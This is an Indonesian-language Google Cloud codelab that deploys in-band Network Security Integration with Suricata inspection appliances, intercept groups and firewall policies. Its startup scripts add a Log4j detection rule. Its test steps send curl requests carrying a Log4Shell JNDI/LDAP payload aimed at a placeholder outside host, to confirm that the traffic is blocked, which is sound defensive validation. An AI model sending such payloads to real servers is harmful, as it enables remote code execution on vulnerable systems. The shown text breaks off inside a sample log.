1. Pengantar
Integrasi Keamanan Jaringan
Network Security Integration (NSI) menawarkan fleksibilitas untuk meningkatkan keamanan jaringan bagi workload Anda. Anda dapat memanfaatkan perangkat khusus dari vendor software independen (ISV) pihak ketiga, atau memanfaatkan mesin deep packet inspection (DPI) untuk memeriksa payload. Untuk memungkinkan integrasi yang lancar dengan perangkat pihak ketiga ini, Google Cloud mempermudah deployment perangkat secara transparan tanpa perubahan jaringan atau perutean.
Google Cloud menawarkan dua jenis Integrasi Keamanan Jaringan - out-of-band dan in-band. Lab ini akan membahas langkah-langkah untuk men-deploy Integrasi Keamanan Jaringan dalam band.
Integrasi Keamanan Jaringan Dalam Band
Integrasi Keamanan Jaringan menyediakan integrasi dalam band menggunakan teknologi pencegatan paket yang memungkinkan Anda menempatkan peralatan jaringan pihak ketiga di jalur traffic jaringan untuk pemeriksaan transparan workload Google Cloud. Proses ini menggunakan Generic Network Virtualization Encapsulation (GENEVE) untuk mentranspor paket ke appliance secara aman tanpa mengubah alamat IP sumber dan tujuan asli.
Integrasi dalam band menawarkan pendekatan yang berfokus pada layanan untuk men-deploy dan menggunakan perangkat jaringan inline pihak ketiga dalam mode bump-in-the-wire. Sebagai produsen layanan, Anda dapat memublikasikan serangkaian peralatan jaringan pihak ketiga yang dapat diskalakan sebagai deployment pencegat. Sebagai konsumen layanan, Anda dapat menggunakan kebijakan dan aturan Cloud Next Generation Firewall untuk membuat pilihan traffic yang terperinci guna mengalihkan traffic secara transparan ke endpoint pencegatan lokal untuk diperiksa.

Gambar 1. Arsitektur deployment tingkat tinggi layanan integrasi dalam band
Untuk mengetahui informasi selengkapnya tentang integrasi NSI dalam band, lihat ringkasan integrasi dalam band.
Produsen Layanan Dalam Band
Produsen layanan adalah tempat perangkat pihak ketiga di-deploy dan dikelola. Hal ini dapat dikelola oleh seseorang di organisasi Anda (tim keamanan, dll.) atau vendor eksternal. Produsen mendaftarkan virtual machine mereka, yang dapat berupa peralatan pihak ketiga, sebagai backend ke Load Balancer Jaringan Passthrough internal di jaringan VPC mereka. Perangkat ini memeriksa traffic jaringan yang dialihkan ke perangkat tersebut. Produsen layanan kemudian membuat deployment Intercept, yaitu resource zona yang mengarah ke aturan penerusan Load Balancer Jaringan Passthrough internal.
Deployment pencegatan adalah resource zonal yang merepresentasikan layanan inspeksi produsen untuk zona tertentu. Produsen membuat deployment pencegat untuk setiap zona tempat mereka men-deploy VM.
Grup deployment pencegat adalah resource global dengan cakupan project yang memungkinkan konsumen terhubung ke layanan inspeksi produsen. Produsen membuat grup deployment pencegatan untuk mengelompokkan beberapa deployment pencegatan zonal. Produsen menggunakan IAM untuk mengontrol konsumen mana yang dapat terhubung ke grup deployment mereka.
Untuk mengetahui informasi selengkapnya, lihat Ringkasan grup deployment pencegatan dan Ringkasan deployment pencegatan.
In-band Service Consumer
Konsumen layanan menggunakan layanan inspeksi yang ditawarkan oleh produsen. Konsumen menentukan VPC mana yang ingin diperiksa dan dari produsen mana. Untuk melakukannya, konsumen membuat grup endpoint Intercept, yaitu resource global yang merepresentasikan sisi hubungan produsen-konsumen, dan menautkan grup endpoint intercept ke grup deployment intercept produsen.
Untuk mengaitkan grup endpoint pencegat dengan VPC yang ingin diperiksa trafficnya, konsumen membuat pengaitan grup endpoint pencegat. Untuk memilih traffic yang harus dikirim ke produsen untuk diperiksa, konsumen membuat dan menggunakan kebijakan firewall jaringan. Konsumen membuat grup profil keamanan yang berisi profil keamanan yang mereferensikan grup endpoint pencegat mereka. Konsumen kemudian membuat aturan firewall untuk mengalihkan traffic yang cocok dengan kriteria tertentu ke peralatan produsen.
Meskipun Intercept Endpoint Group(IEG) adalah resource tingkat project, IEG dan asosiasi IEG tidak harus berada dalam project yang sama. IEG dapat dirujuk oleh asosiasi IEG dari project lain dalam organisasi Anda. Objek ini mewakili sisi konsumen dalam hubungan produsen-konsumen. Konsumen membuat grup endpoint pencegat untuk menggunakan layanan inspeksi produsen. Setiap grup endpoint pencegatan di sisi konsumen dikaitkan dengan satu grup deployment pencegatan di sisi produsen.
Untuk mengetahui informasi selengkapnya, lihat Ringkasan grup dan asosiasi endpoint pencegat.
Konsumen harus membuat aturan kebijakan firewall untuk mengalihkan traffic ke grup endpoint pencegat mereka. Konsumen dapat menentukan kriteria pencocokan dalam aturan kebijakan firewall, yang memungkinkan mereka menentukan traffic mana yang akan diperiksa oleh appliance produsen.
Konsumen membuat profil keamanan pencegatan kustom untuk menentukan grup endpoint pencegatan mana yang harus digunakan untuk memeriksa traffic.
Konsumen membuat grup profil keamanan untuk menentukan grup fitur pemeriksaan keamanan yang harus diterapkan ke subset traffic tertentu. Grup profil keamanan berisi satu profil keamanan pencegatan kustom.
Yang akan Anda bangun

Gambar 2. Arsitektur deployment tingkat tinggi untuk codelab ini
Untuk menyederhanakan codelab ini, Anda akan menggunakan satu project dan membuat dua jaringan VPC serta mengelola sejumlah resource jaringan dan keamanan. Lab ini akan menunjukkan cara men-deploy Integrasi Layanan Jaringan dalam band dengan perangkat pihak ketiga untuk penyisipan keamanan transparan.
Aliran yang akan diperiksa akan dipilih menggunakan parameter pencocokan Cloud Firewall, termasuk 5-tuple (IP sumber, IP tujuan, protokol, port sumber, port tujuan). Untuk menyederhanakan lab ini, Anda akan memeriksa semua traffic EGRESS di port TCP 80.
Produsen akan mengizinkan ingress dari IP gateway subnet VPC produsen (10.0.0.1/32) untuk paket UDP dengan port tujuan 6081 - port yang dikenal baik untuk GENEVE.
Status akhir basis aturan kebijakan firewall jaringan akan mirip dengan tabel di bawah:
Kebijakan Jaringan Produser:
Prioritas | Arah | Protokol | Target | Sumber | Tujuan | Port Tujuan | Tindakan |
100 | Masuk | Semua | Semua | Pemeriksaan Kondisi | Semua | Semua | Izinkan |
200 | Masuk | Semua | Semua | IAP | Semua | Semua | Izinkan |
300 | Masuk | UDP | Semua | 10.0.0.1/32 | Semua | 6081 | Izinkan |
Kebijakan Jaringan Konsumen:
Prioritas | Arah | Protokol | Target | Sumber | Tujuan | Port Tujuan | Tindakan |
200 | Masuk | TCP | Semua | IAP | Semua | 22 | Izinkan |
800 | Keluar | TCP | Semua | Semua | Semua | 80 | Menyadap |
Yang akan Anda pelajari
- Cara men-deploy Network Security Integration in-band
Yang Anda butuhkan
- Organisasi dan Project Google Cloud
- Izin IAM yang sesuai
- Pengetahuan tentang men-deploy instance dan mengonfigurasi komponen jaringan
- Pengetahuan konfigurasi Network Policy Firewall
2. Sebelum memulai
Peran dan Izin IAM
Untuk menyelesaikan codelab In-band Network Security Integration (NSI), Anda memerlukan peran IAM berikut:
- Compute Network Admin (
roles/compute.networkAdmin): Diperlukan untuk membuat dan mengelola jaringan VPC, subnet, Cloud Router, gateway NAT, dan layanan backend load balancer. - Compute Security Admin (
roles/compute.securityAdmin): Diperlukan untuk membuat, mengonfigurasi, dan mengaitkan kebijakan dan aturan firewall jaringan global. - Admin Instance Compute (
roles/compute.instanceAdmin.v1): Diperlukan untuk men-deploy, menggunakan SSH untuk mengakses, dan akhirnya menghapus appliance Suricata dan VM pengujian konsumen. - Admin Deployment Intercept (
roles/networksecurity.interceptDeploymentAdmin): Digunakan oleh produser untuk membuat dan mengelola deployment intercept zonal dan grup deployment global. - Intercept Endpoint Admin (
roles/networksecurity.interceptEndpointAdmin): Digunakan oleh konsumen untuk membuat grup endpoint pencegat dan mengaitkannya dengan jaringan VPC mereka. - Pengguna Deployment Intercept (
roles/networksecurity.interceptDeploymentUser): Diperlukan di project produsen untuk memberikan izin konsumen agar dapat terhubung ke grup deployment produsen. - Admin Profil Keamanan (
roles/networksecurity.securityProfileAdmin): Diperlukan di tingkat organisasi untuk membuat dan mengelola profil keamanan pencegatan kustom dan grup profil keamanan. - Admin Penggunaan Layanan (
roles/serviceusage.serviceUsageAdmin): Diperlukan untuk mengaktifkan APInetworksecurity.googleapis.comdancompute.googleapis.comyang diperlukan untuk fitur NSI. - Project Viewer (
roles/viewer): Diperlukan untuk mengambil informasi konfigurasi project dan silsilah organisasi untuk variabel lingkungan yang digunakan di seluruh lab.
Google Cloud API
Pastikan Google Cloud API yang diperlukan diaktifkan di project Anda.
Aktifkan API yang diperlukan, jalankan perintah gcloud berikut dalam Cloud Shell.
gcloud services enable compute.googleapis.com \ networksecurity.googleapis.com \ cloudresourcemanager.googleapis.com
Membuat/memperbarui variabel
Codelab ini menggunakan $variables untuk membantu penerapan konfigurasi gcloud di Cloud Shell.
Di Cloud Shell, jalankan perintah di bawah dengan mengganti informasi dalam tanda kurung sesuai kebutuhan:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zonea=[first-zone from $region] export zoneb=[second-zone from $region] export zonec=[third-zone from $region]
3. Tindakan Produser
Bagian ini akan membahas sisi deployment produser. Hal ini mencakup men-deploy VPC, perlengkapan virtual jaringan pihak ketiga, dan semua komponen yang relevan untuk Integrasi Keamanan Jaringan.
Komponen VPC dan Cloud NAT
- Buat VPC dan subnet:
gcloud compute networks create producer-vpc --subnet-mode=custom gcloud compute networks subnets create producer-$region-subnet \ --range=10.0.0.0/24 --network=producer-vpc --region=$region
- Dapatkan IP gateway subnet untuk penggunaan aturan firewall:
export gatewayip=$(gcloud compute networks subnets list --project=$project_id --network=producer-vpc --format=json | jq -r '.[0].gatewayAddress')
- Buat kebijakan dan aturan FW untuk VPC produsen. Aturan FW ini akan mengizinkan ingress untuk health check, IAP, dan traffic yang bersumber dari NSI:
gcloud compute network-firewall-policies create producer-fwpolicy \
--global
gcloud compute network-firewall-policies rules create 100 \
--description="allow http traffic from ilb health-check ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80 \
--direction=INGRESS \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
gcloud compute network-firewall-policies rules create 300 \
--description="allow GENEVE UDP:6081 packets from gateway" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=udp:6081 \
--direction=INGRESS \
--src-ip-ranges=$gatewayip
- Mengaitkan VPC produsen ke Kebijakan Firewall Jaringan:
gcloud compute network-firewall-policies associations create \
--firewall-policy producer-fwpolicy \
--network producer-vpc \
--name producer-fwpolicy-association \
--global-firewall-policy
- Deploy Cloud Router dan Cloud NAT untuk Appliance Virtual Jaringan (NVA) pihak ketiga guna mendownload paket dan update yang diperlukan:
gcloud compute addresses create producer-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$region-cloudnatip --format="value(address)") gcloud compute routers create producer-$region-cr \ --region=$region --network=producer-vpc gcloud compute routers nats create producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=producer-$region-cloudnatip
VM pihak ketiga
Untuk lab ini, Anda akan men-deploy Suricata, layanan deteksi ancaman open source. Perintah ini memiliki skrip startup yang akan menginstal dan mengonfigurasi Suricata. Ada juga iptables yang melakukan Penafsiran Alamat Jaringan Sumber (SNAT) dan Penafsiran Alamat Jaringan Tujuan (DNAT) untuk menangani dan merespons paket GENEVE.
- Deploy NVA pihak ketiga di zona pertama Anda.
gcloud compute instances create suricata-$zonea \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.3 \
--zone $zonea \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
- Deploy NVA pihak ketiga di zona kedua Anda:
gcloud compute instances create suricata-$zoneb \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.4 \
--zone $zoneb \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
Komponen Load balancer Produsen
- Buat health check generik yang digunakan untuk memeriksa ketersediaan NVA pihak ketiga Anda:
gcloud compute health-checks create http nva-hc
- Buat grup instance tidak terkelola zonal untuk setiap zona:
gcloud compute instance-groups unmanaged create producer-$zonea-uig \ --zone $zonea gcloud compute instance-groups unmanaged create producer-$zoneb-uig \ --zone $zoneb
- Tambahkan instance ke grup instance:
gcloud compute instance-groups unmanaged add-instances producer-$zonea-uig --instances=suricata-$zonea --zone=$zonea gcloud compute instance-groups unmanaged add-instances producer-$zoneb-uig --instances=suricata-$zoneb --zone=$zoneb
Validasi bahwa grup instance Anda berisi instance Anda dengan perintah berikut:
gcloud compute instance-groups unmanaged list-instances producer-$zonea-uig --zone=$zonea gcloud compute instance-groups unmanaged list-instances producer-$zoneb-uig --zone=$zoneb
Contoh output:
NAME: suricata-$zonea STATUS: RUNNING NAME: suricata-$zoneb STATUS: RUNNING
- Buat layanan backend UDP internal:
gcloud compute backend-services create producer-bes \ --protocol=UDP \ --region=projects/$project_id/regions/$region \ --health-checks=projects/$project_id/global/healthChecks/nva-hc \ --load-balancing-scheme=INTERNAL
- Tambahkan kedua grup instance ke layanan backend:
gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zonea/instanceGroups/producer-$zonea-uig --region=$region gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zoneb/instanceGroups/producer-$zoneb-uig --region=$region
- Cadangkan IP internal untuk aturan penerusan Anda. Setiap deployment pencegatan memerlukan aturan penerusan yang unik:
gcloud compute addresses create producer-fr-$zonea-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.11
gcloud compute addresses create producer-fr-$zoneb-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.12
- Buat aturan penerusan untuk setiap zona. Hal ini diperlukan karena deployment pencegatan memerlukan aturan penerusan yang unik:
gcloud compute forwarding-rules create producer-fr-$zonea \ --ip-protocol=UDP --address=10.0.0.11 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet gcloud compute forwarding-rules create producer-fr-$zoneb \ --ip-protocol=UDP --address=10.0.0.12 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet
Komponen Integrasi Keamanan Jaringan
- Buat grup penayangan iklan intersep:
gcloud network-security intercept-deployment-groups create producer-nsi-deployment-group \
--location global \
--no-async \
--network producer-vpc
Validasi bahwa grup deployment berhasil dibuat:
gcloud network-security intercept-deployment-groups describe producer-nsi-deployment-group \
--location global
Contoh Output:
createTime: '2025-01-16T06:13:48.075183628Z' name: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group network: projects/$project_id/global/networks/producer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:13:50.556947138Z'
- Buat deployment intersep untuk setiap zona:
gcloud network-security intercept-deployments create nsi-deployment-$zonea \
--location $zonea \
--forwarding-rule producer-fr-$zonea \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
gcloud network-security intercept-deployments create nsi-deployment-$zoneb \
--location $zoneb \
--forwarding-rule producer-fr-$zoneb \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
Validasi bahwa deployment pencegat berhasil dibuat:
gcloud network-security intercept-deployments describe nsi-deployment-$zonea \
--location $zonea
gcloud network-security intercept-deployments describe nsi-deployment-$zoneb \
--location $zoneb
Contoh output:
createTime: '2025-01-16T06:27:08.834875130Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/$zonea/interceptDeployments/nsi-deployment-$zonea reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:14.401072601Z' createTime: '2025-01-16T06:33:47.798469786Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr-$zoneb interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/us-west1-b/interceptDeployments/nsi-deployment-$zoneb reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:25.258447474Z'
Selamat, Anda telah menyelesaikan penyiapan sisi produsen. Selanjutnya, Anda akan mengonfigurasi sisi konsumen untuk mencegat traffic dan mengirimkannya secara transparan ke peralatan pihak ketiga untuk penegakan.
4. Tindakan Konsumen
Meskipun lab ini menggunakan VPC terpisah dalam satu project agar lebih sederhana, di lingkungan dunia nyata, resource produsen dan konsumen dapat berada di project yang berbeda atau bahkan di berbagai organisasi.
Komponen VPC dan Cloud NAT
- Buat VPC dan subnet:
gcloud compute networks create consumer-vpc --subnet-mode=custom gcloud compute networks subnets create consumer-$region-subnet \ --range=192.168.0.0/24 --network=consumer-vpc --region=$region
- Buat gateway Cloud Router dan Cloud NAT:
gcloud compute addresses create consumer-$region-cloudnatip \
--region=$region
export cloudnatip=$(gcloud compute addresses list \
--filter=name:consumer-$region-cloudnatip \
--format="value(address)")
gcloud compute routers create consumer-$region-cr \
--region=$region \
--network=consumer-vpc
gcloud compute routers nats create consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region \
--nat-all-subnet-ip-ranges \
--nat-external-ip-pool=consumer-$region-cloudnatip
Grup dan Pengaitan Endpoint Intersep
- Buat Grup Endpoint Intersep:
gcloud network-security intercept-endpoint-groups create nsi-endpoint-group \
--location global \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
Validasi bahwa endpoint berhasil dibuat:
gcloud network-security intercept-endpoint-groups describe nsi-endpoint-group \
--location global
Contoh Output:
createTime: '2025-01-16T06:37:10.620185836Z' interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group reconciling: false state: ACTIVE updateTime: '2025-01-16T06:37:22.707994466Z'
- Buat pengaitan grup endpoint pencegat yang menentukan VPC konsumen:
gcloud network-security intercept-endpoint-group-associations create nsi-endpoint-group-assoc \
--location global \
--network consumer-vpc \
--no-async \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
Validasi:
gcloud network-security intercept-endpoint-group-associations describe nsi-endpoint-group-assoc \
--location global
Contoh output:
createTime: '2025-01-16T06:40:21.125202733Z' interceptEndpointGroup: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group locations: - location: $zonea state: ACTIVE - location: $zoneb state: ACTIVE name: projects/$project_id/locations/global/interceptEndpointGroupAssociations/nsi-endpoint-group-assoc network: projects/$project_id/global/networks/consumer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:40:56.085493855Z'
Grup Profil Keamanan dan Profil Keamanan
Selanjutnya, Anda akan membuat profil keamanan kustom untuk mencegat dan melampirkannya ke grup profil keamanan. Profil keamanan dan grup profil keamanan digunakan untuk penyadapan paket bagi perangkat pihak ketiga.
- Buat Profil Keamanan pencegat kustom:
gcloud network-security security-profiles custom-intercept create nsi-intercept-profile \
--organization $org_id \
--location global \
--billing-project $project_id \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
Pastikan profil keamanan berhasil dibuat:
gcloud network-security security-profiles custom-intercept \ describe nsi-intercept-profile \ --organization=$org_id \ --location=global
Contoh output:
{
"createTime": "2025-01-16T20:25:21.545756039Z",
"customInterceptProfile": {
"interceptEndpointGroup": "projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group"
},
"etag": "vBAcVRe70k70rNJ3stzuCAvp_JbiPD2IWqcHKKAGlzw",
"name": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
"type": "CUSTOM_INTERCEPT",
"updateTime": "2025-01-16T20:25:24.101764860Z"
}
- Buat Grup Profil Keamanan:
gcloud network-security security-profile-groups create nsi-spg \ --custom-intercept-profile=nsi-intercept-profile \ --organization=$org_id \ --project=$project_id \ --location=global
Pastikan SPG berhasil dibuat:
gcloud network-security security-profile-groups describe nsi-spg \
--organization $org_id \
--billing-project $project_id \
--location global
Contoh output:
"createTime": "2025-01-16T20:31:23.545946850Z", "customInterceptProfile": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile", "etag": "bAE-90dCYvYfOKga4EfGXWRGuJXJpsiTEEgVsw3AmM0", "name": "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg", "updateTime": "2025-01-16T20:31:27.588870973Z"
Kebijakan, Aturan, dan Pengaitan Firewall
- Buat kebijakan firewall jaringan global:
gcloud compute network-firewall-policies create consumer-fwpolicy \
--global
- Buat aturan firewall:
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=consumer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
- Buat aturan firewall untuk mencegat semua traffic keluar yang memanfaatkan NSI untuk dikirim ke appliance pihak ketiga kami secara transparan. Aturan ini akan mengirim semua traffic keluar TCP:80 untuk diperiksa.
gcloud compute network-firewall-policies rules create 800 \
--action APPLY_SECURITY_PROFILE_GROUP \
--firewall-policy consumer-fwpolicy \
--security-profile-group "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg" \
--direction EGRESS \
--layer4-configs tcp:80 \
--dest-ip-ranges 0.0.0.0/0 \
--global-firewall-policy
- Kaitkan kebijakan firewall cloud ke jaringan VPC:
gcloud compute network-firewall-policies associations create \
--firewall-policy consumer-fwpolicy \
--network consumer-vpc \
--name consumer-fwpolicy-association \
--global-firewall-policy
Consumer VM
- Men-deploy VM yang digunakan untuk memvalidasi NSI. Anda akan men-deploy 3 VM di 3 zona. Ingat bahwa hanya 2 zona yang mengaktifkan NSI, sedangkan $zonec tidak.
gcloud compute instances create consumer-$zonea \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.3 \ --no-address \ --zone $zonea gcloud compute instances create consumer-$zoneb \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.4 \ --no-address \ --zone $zoneb gcloud compute instances create consumer-$zonec \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.5 \ --no-address \ --zone $zonec
Menguji Integrasi Keamanan Jaringan dalam band
- Gunakan SSH untuk terhubung ke VM di $zonea (consumer-$zonea). Mengirim traffic pengujian:
gcloud compute ssh consumer-$zonea \ --zone $zonea
- Kirim traffic pengujian ke http://www.google.com:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
Output yang diharapkan:
200
Kode status HTTP 200 menunjukkan bahwa permintaan klien telah berhasil diterima, dipahami, dan diproses oleh server.
- Kirim permintaan log4j yang harus diblokir oleh Suricata melalui NSI.
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
Output yang diharapkan:
000
Kode respons HTTP 000 adalah kode tidak resmi dan non-standar yang digunakan oleh software tertentu, untuk menunjukkan bahwa tidak ada kode status HTTP yang valid diterima. Hal ini kemungkinan berarti permintaan diblokir oleh firewall.
- Kembali ke Cloud Shell dengan keluar dari sesi SSH
exit
- SSH ke VM di $zoneb (consumer-$zoneb)
gcloud compute ssh consumer-$zoneb \ --zone $zoneb
- Demikian pula, kirim traffic pengujian:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
Output yang diharapkan:
200
- Kirim permintaan log4j:
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
Output yang diharapkan:
000
- Kembali ke Cloud Shell dengan keluar dari sesi SSH
exit
- SSH ke VM di $zonec (consumer-$zonec)
gcloud compute ssh consumer-$zonec \ --zone $zonec
- Demikian pula, kirim traffic pengujian:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
Output yang diharapkan:
200
- Kirim permintaan log4j:
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
Output yang diharapkan:
200
Perhatikan bahwa permintaan ini berhasil. Hal ini wajar karena Anda tidak mengonfigurasi NSI dengan $zonec. Grup endpoint pencegat hanya memiliki asosiasi untuk $zonea dan $zoneb.
- Kembali ke Cloud Shell dengan keluar dari sesi SSH
exit
Memvalidasi bahwa Suricata menerima dan memblokir permintaan berbahaya
- Gunakan SSH untuk mengakses VM Suricata di $zonea (suricata-$zonea) guna memeriksa log:
gcloud compute ssh suricata-$zonea \ --zone $zonea
- Lihat log yang difilter berdasarkan jenis serangan:
cat /var/log/suricata/eve.json | grep log4j
Anda mungkin melihat beberapa entri. Jika Anda tidak melihat entri apa pun, periksa log untuk VM Suricata di $zoneb. Contoh output:
{"timestamp":"2025-01-22T19:54:37.347753+0000","flow_id":905867843361350,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.2","src_port":58740,"dest_ip":"74.125.197.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc 